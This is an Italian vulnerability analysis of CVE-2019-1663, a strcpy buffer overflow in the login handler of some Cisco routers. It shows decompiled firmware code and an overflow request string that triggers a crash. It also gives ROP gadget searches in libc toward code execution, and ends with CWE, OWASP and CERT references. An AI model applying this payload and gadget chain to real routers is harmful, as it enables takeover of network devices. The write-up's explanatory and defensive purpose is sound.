
Autore: Corentin Wolff
La vulnerabilità ha origine dalla funzione 0x0002BF64, che abusa della funzione strcpy, rendendola soggetta ad attacchi di buffer overflow. Per chiarezza, questa funzione è stata rinominata Login. Di seguito è riportato un frammento che illustra il problema:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
In questo frammento, la funzione strcpy viene usata in modo improprio, causando una vulnerabilità di buffer overflow:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
Questa parte del codice controlla il nome utente:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
Il parametro param_1 è identificato come campo del nome utente.
Analogamente, param_2 corrisponde alla password, mentre param_3 è identificato come httpd_user.
La variabile login_flag rappresenta gli stati di connessione:
0 → Login error
1 → Admin login successful
2 → Admin login denied due to an existing session
3 → Admin login forcing logout
La funzione strcpy non verifica la dimensione della stringa sorgente rispetto alla capacità del buffer di destinazione. Ciò consente di sovrascrivere regioni di memoria adiacenti.
CVE-2019-1663 sfrutta la mancanza di validazione della dimensione dell'input in alcuni modelli di router Cisco.
a. No Length Check: Unsanitized user input is passed to strcpy.
b. Memory Overflow: Excess data overwrites critical memory regions.
c. Arbitrary Code Execution: Attackers inject and execute malicious code.
d. Exploitation Requirements: Access to the router's web configuration server.
e. Impact: Privileged access, enabling network espionage, traffic redirection, malware installation, or backdoors.
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
Questo provoca un segmentation fault. Determinando la dimensione ottimale del buffer, gli attaccanti possono iniettare ed eseguire codice dannoso.
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: Copia del buffer senza controllo della dimensione dell'input
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: Scrittura fuori dai limiti
https://cwe.mitre.org/data/definitions/787.html
OWASP Panoramica sul buffer overflow
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
"Buffer Overflow" su Microsoft Learn
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
CERT Standard di codifica sicura - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
Sfruttamento di CVE-2019-1663 - Write Up di Quentin Kaiser
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663